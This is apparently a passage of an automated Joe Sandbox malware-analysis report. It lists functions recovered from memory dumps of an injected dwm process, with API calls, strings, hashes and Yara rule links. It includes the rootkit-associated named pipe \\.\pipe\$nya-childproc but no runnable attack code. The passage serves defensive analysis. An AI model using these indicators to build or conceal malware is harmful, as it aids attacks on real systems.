Part of subcall function 000002BAAED93950: StrToIntW.SHLWAPI ref: 000002BAAED939B7

GetProcessHeap.KERNEL32 ref: 000002BAAED93488
HeapFree.KERNEL32 ref: 000002BAAED93496

Strings

\GPU Engine(*)\Running Time, xrefs: 000002BAAED93444

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction ID: 68197df44c621a720fe3b4e437889c92559270bd35f1cdcc811d724bcb9c4742
Opcode Fuzzy Hash: 3c893031c2ac124323773ad806ea6b122c6292a63b4d30b410812c40362314f8
Instruction Fuzzy Hash: 9331CE22A00B40ABEB21DF52A80C759B3B0F788FD5F650525DE8D43B64EF38C966C361

Function 000002BAAED934B8 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

PdhGetCounterInfoW.PDH ref: 000002BAAED93516
GetProcessHeap.KERNEL32 ref: 000002BAAED93527
HeapAlloc.KERNEL32 ref: 000002BAAED93535
PdhGetCounterInfoW.PDH ref: 000002BAAED9354B
StrCmpW.SHLWAPI ref: 000002BAAED93560

Part of subcall function 000002BAAED93950: StrCmpNW.SHLWAPI ref: 000002BAAED93972
Part of subcall function 000002BAAED93950: StrStrW.SHLWAPI ref: 000002BAAED93990
Part of subcall function 000002BAAED93950: StrToIntW.SHLWAPI ref: 000002BAAED939B7

GetProcessHeap.KERNEL32 ref: 000002BAAED9358D
HeapFree.KERNEL32 ref: 000002BAAED9359B

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 000002BAAED93559

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction ID: 72117d965a548ff4cbc988bc592d1e70a197e30027a532bd1495d658dfa48cf0
Opcode Fuzzy Hash: 4dfb6054f5336d4a701c3ca7a3d18610e9584f8b2694925bec2ac2df63a9e25f
Instruction Fuzzy Hash: 7131BF71610B419AEB50EF22A888759B3F1F788F94F644025DE8E83B64EF38C951C711

Function 000002BAAF19962C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002BAAF199689

Part of subcall function 000002BAAF19A544: __GetUnwindTryBlock.LIBCMT ref: 000002BAAF19A587
Part of subcall function 000002BAAF19A544: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002BAAF19A5AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002BAAF199761
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002BAAF1999AF
std::bad_alloc::bad_alloc.LIBCMT ref: 000002BAAF199ABC

Strings

csm, xrefs: 000002BAAF1996A3
csm, xrefs: 000002BAAF199784
csm, xrefs: 000002BAAF19970A

Memory Dump Source

Source File: 0000000E.00000003.2062869608.000002BAAF190000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAF190000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaf190000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction ID: 26675a9d0e71cc55802d77e91e030b9b538f2f10633933ef70f19f644b80b483
Opcode Fuzzy Hash: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction Fuzzy Hash: D4D18D3360078086EB68DF65D4C93AD3BB0F755798F900116EF8997B9AEB36C181C792

Function 000002BAAED9A22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002BAAED9A289

Part of subcall function 000002BAAED9B144: __GetUnwindTryBlock.LIBCMT ref: 000002BAAED9B187
Part of subcall function 000002BAAED9B144: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002BAAED9B1AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002BAAED9A361
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002BAAED9A5AF
std::bad_alloc::bad_alloc.LIBCMT ref: 000002BAAED9A6BC

Strings

csm, xrefs: 000002BAAED9A30A
csm, xrefs: 000002BAAED9A384
csm, xrefs: 000002BAAED9A2A3

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction ID: 5fa69ced554f89c9fcf9ad212c28b6292f85bd46dc4a9c45599d002d759cce87
Opcode Fuzzy Hash: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction Fuzzy Hash: DFD16B33604B808AEB60DF65984839D77B0F749788F200215EECD5BF9AEB36C991C712

Function 000002BAAEDD962C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002BAAEDD9689

Part of subcall function 000002BAAEDDA544: __GetUnwindTryBlock.LIBCMT ref: 000002BAAEDDA587
Part of subcall function 000002BAAEDDA544: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002BAAEDDA5AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002BAAEDD9761
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002BAAEDD99AF
std::bad_alloc::bad_alloc.LIBCMT ref: 000002BAAEDD9ABC

Strings

csm, xrefs: 000002BAAEDD9784
csm, xrefs: 000002BAAEDD970A
csm, xrefs: 000002BAAEDD96A3

Memory Dump Source

Source File: 0000000E.00000003.2183641314.000002BAAEDD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaedd0000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction ID: b0034ac9fedc59078a8a7e47df2050e133f12344030f0136cfb4ee7b62c8714e
Opcode Fuzzy Hash: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction Fuzzy Hash: E4D1AD32605B808AEB60DF65D4C93AD77B0F789798F201106EECD97B9AEB75C090C712

Function 000002BAAEE3962C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002BAAEE39689

Part of subcall function 000002BAAEE3A544: __GetUnwindTryBlock.LIBCMT ref: 000002BAAEE3A587
Part of subcall function 000002BAAEE3A544: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002BAAEE3A5AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002BAAEE39761
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002BAAEE399AF
std::bad_alloc::bad_alloc.LIBCMT ref: 000002BAAEE39ABC

Strings

csm, xrefs: 000002BAAEE39784
csm, xrefs: 000002BAAEE396A3
csm, xrefs: 000002BAAEE3970A

Memory Dump Source

Source File: 0000000E.00000003.2236561607.000002BAAEE30000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEE30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaee30000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction ID: 909d86dbda564d8ae0b421eb3c3f6f7ec98a6f59c67c63f828dfe73cbda2f20a
Opcode Fuzzy Hash: 99dcd42e55987f84e0a9dbea2fa1ae191c477915d496a4e3a9a042af50ac5220
Instruction Fuzzy Hash: 94D1C332604781A6EB70DF65D4893AD37B0F789788F280205EEC957F9ADB35C990C712

Function 000002BAAEE0A22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002BAAEE0A289

Part of subcall function 000002BAAEE0B144: __GetUnwindTryBlock.LIBCMT ref: 000002BAAEE0B187
Part of subcall function 000002BAAEE0B144: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002BAAEE0B1AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002BAAEE0A361
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002BAAEE0A5AF
std::bad_alloc::bad_alloc.LIBCMT ref: 000002BAAEE0A6BC

Strings

csm, xrefs: 000002BAAEE0A2A3
csm, xrefs: 000002BAAEE0A30A
csm, xrefs: 000002BAAEE0A384

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction ID: ff44b09a0e5900bdfd36588edc80063c4c1a57645fcaaa8ff3b51a3e619e5fa7
Opcode Fuzzy Hash: 037bd7d014dbf073bd717ac1516acd742bbf86a7991252edd6e45b1783c3a634
Instruction Fuzzy Hash: 70D17D32644B84AAEBB0DF65E44839D77B0F795798F200215EACD57F9ADB38C890C712

Function 000002BAAED9104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAED910B1
RegEnumValueW.ADVAPI32 ref: 000002BAAED91117
GetProcessHeap.KERNEL32 ref: 000002BAAED9115A
HeapAlloc.KERNEL32 ref: 000002BAAED91168
GetProcessHeap.KERNEL32 ref: 000002BAAED91185
HeapFree.KERNEL32 ref: 000002BAAED91193

Strings

d, xrefs: 000002BAAED910D6

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction ID: 7d35aa4cd65ea18dbe7087ca25c91ca97611a09d7381d338ecd8174d597b1ed3
Opcode Fuzzy Hash: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction Fuzzy Hash: 05418173214B80D6E760CF21E44839E77B1F388B98F548119DA8D17B98EF39C949CB51

Function 000002BAAEE0104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAEE010B1
RegEnumValueW.ADVAPI32 ref: 000002BAAEE01117
GetProcessHeap.KERNEL32 ref: 000002BAAEE0115A
HeapAlloc.KERNEL32 ref: 000002BAAEE01168
GetProcessHeap.KERNEL32 ref: 000002BAAEE01185
HeapFree.KERNEL32 ref: 000002BAAEE01193

Strings

d, xrefs: 000002BAAEE010D6

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction ID: 821efa7a87f1f50bac588274c9b0c3efeb7920b4f048bae8d207b7b93b507985
Opcode Fuzzy Hash: 214df63eb12f5006524d9de65027155270ac54fbc8f89443ffbfb24959d92ecf
Instruction Fuzzy Hash: 8B417133214B84D6E7A4CF61E44839E77B1F388B98F548119DA890BB58DF3CC589CB51

Function 000002BAAED92518 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002BAAED9252D
GetCurrentProcessId.KERNEL32 ref: 000002BAAED92537
CreateFileW.KERNEL32 ref: 000002BAAED92568
WriteFile.KERNEL32 ref: 000002BAAED92590
ReadFile.KERNEL32 ref: 000002BAAED925AF
CloseHandle.KERNEL32 ref: 000002BAAED925B8

Strings

\\.\pipe\$nya-childproc, xrefs: 000002BAAED92549

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\$nya-childproc
API String ID: 166002920-3933612297
Opcode ID: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction ID: 1f079ead6b2a2b9e77380c9f466fe227c451bb9cdf891b07d463228648f3c048
Opcode Fuzzy Hash: 2f0528e3c87d94e1cfa1c202f0bfd1f6cfafc65532576ba32c2772f85af7f427
Instruction Fuzzy Hash: 8F114976614B4082E7109B25F85835A7770F389BE4FA44315EA9D03AA8DF3CC258CB55

Function 000002BAAF197050 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002BAAF197078
__scrt_acquire_startup_lock.LIBCMT ref: 000002BAAF1970CA
_RTC_Initialize.LIBCMT ref: 000002BAAF1970F8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002BAAF19711E
__scrt_release_startup_lock.LIBCMT ref: 000002BAAF197149

Memory Dump Source

Source File: 0000000E.00000003.2062869608.000002BAAF190000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAF190000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaf190000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 7f99631df70bc27f49c937bf693204d986050030828864c49767fd9d7b1a80e9
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: 1A81812361024186FA5CAB6698C93997FF1AF867C0F44412BDB08C7796DB3BC945C7A3

Function 000002BAAED97C50 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002BAAED97C78
__scrt_acquire_startup_lock.LIBCMT ref: 000002BAAED97CCA
_RTC_Initialize.LIBCMT ref: 000002BAAED97CF8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002BAAED97D1E
__scrt_release_startup_lock.LIBCMT ref: 000002BAAED97D49

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: b2ee973e34825ad9dca60c71bed8b459903fc17ef75a7d459709b68d4c84bc08
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: E781F1257002418AFA50AB659C5D3A973B1AB85B84F748415AACC67FD6FB3BCD41C333

Function 000002BAAEDD7050 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002BAAEDD7078
__scrt_acquire_startup_lock.LIBCMT ref: 000002BAAEDD70CA
_RTC_Initialize.LIBCMT ref: 000002BAAEDD70F8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002BAAEDD711E
__scrt_release_startup_lock.LIBCMT ref: 000002BAAEDD7149

Memory Dump Source

Source File: 0000000E.00000003.2183641314.000002BAAEDD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaedd0000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 044a2af7b68ccd40a4f16dcda0e18dde777fe5d8773e7e20f0072ecd4716c4b0
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: E981C020B022414AFB64AB6598CD3AD37B0AB86780F7451A79ACCC77D6DB38C855C773

Function 000002BAAEE37050 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002BAAEE37078
__scrt_acquire_startup_lock.LIBCMT ref: 000002BAAEE370CA
_RTC_Initialize.LIBCMT ref: 000002BAAEE370F8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002BAAEE3711E
__scrt_release_startup_lock.LIBCMT ref: 000002BAAEE37149

Memory Dump Source

Source File: 0000000E.00000003.2236561607.000002BAAEE30000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEE30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2baaee30000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: e312396b39606af4d997e29cc141288cd9959707db47f0e5c049d50a50ee6aed
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: 3D81CF217006427AFA74AB65984D39B73F1AB86B80F7C4115AEC947F96DB39C842C723

Function 000002BAAEE07C50 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002BAAEE07C78
__scrt_acquire_startup_lock.LIBCMT ref: 000002BAAEE07CCA
_RTC_Initialize.LIBCMT ref: 000002BAAEE07CF8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002BAAEE07D1E
__scrt_release_startup_lock.LIBCMT ref: 000002BAAEE07D49

Memory Dump Source

Source File: 0000000E.00000002.2406225557.000002BAAEE01000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true

Associated: 0000000E.00000002.2406053605.000002BAAEE00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406311144.000002BAAEE15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406401391.000002BAAEE20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406565528.000002BAAEE22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2406629188.000002BAAEE29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction ID: 0693b83c5bc9acea3d2881afc43fa6cc3fc49127075a1a3dfe8cc688cbd48b08
Opcode Fuzzy Hash: 53754b190eade9ddf9a12de580ea1969ce11fb76c0c5d26610c7ca44f503f6dd
Instruction Fuzzy Hash: ED810520780681B6FAF0BB65945D36973B0AB96781F744015AAC847FD7EB38C885C737

Function 000002BAAED99AAC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,000002BAAED99C6B,?,?,?,000002BAAED9945C,?,?,?,?,000002BAAED98F65), ref: 000002BAAED99B31
GetLastError.KERNEL32(?,?,?,000002BAAED99C6B,?,?,?,000002BAAED9945C,?,?,?,?,000002BAAED98F65), ref: 000002BAAED99B3F
LoadLibraryExW.KERNEL32(?,?,?,000002BAAED99C6B,?,?,?,000002BAAED9945C,?,?,?,?,000002BAAED98F65), ref: 000002BAAED99B69
FreeLibrary.KERNEL32(?,?,?,000002BAAED99C6B,?,?,?,000002BAAED9945C,?,?,?,?,000002BAAED98F65), ref: 000002BAAED99BD7
GetProcAddress.KERNEL32(?,?,?,000002BAAED99C6B,?,?,?,000002BAAED9945C,?,?,?,?,000002BAAED98F65), ref: 000002BAAED99BE3

Strings

api-ms-, xrefs: 000002BAAED99B51

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction ID: 01f312c05cdd55351d2ac3ba235fd760506b2fe5af5c8cc90a55e232e2a4baf9
Opcode Fuzzy Hash: 71d948750e90526cf3ff779f44d5551170106daf63fa61af0dbf03442d3e65c3
Instruction Fuzzy Hash: 9331A12131264092EE11AB16AC887A533F4BB44BA8F790625ED9D47B90FF3DC854C322

Function 000002BAAEE09AAC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,000002BAAEE09C6B,?,?,?,000002BAAEE0945C,?,?,?,?,000002BAAEE08F65), ref: 000002BAAEE09B31
GetLastError.KERNEL32(?,?,?,000002BAAEE09C6B,?,?,?,000002BAAEE0945C,?,?,?,?,000002BAAEE08F65), ref: 000002BAAEE09B3F
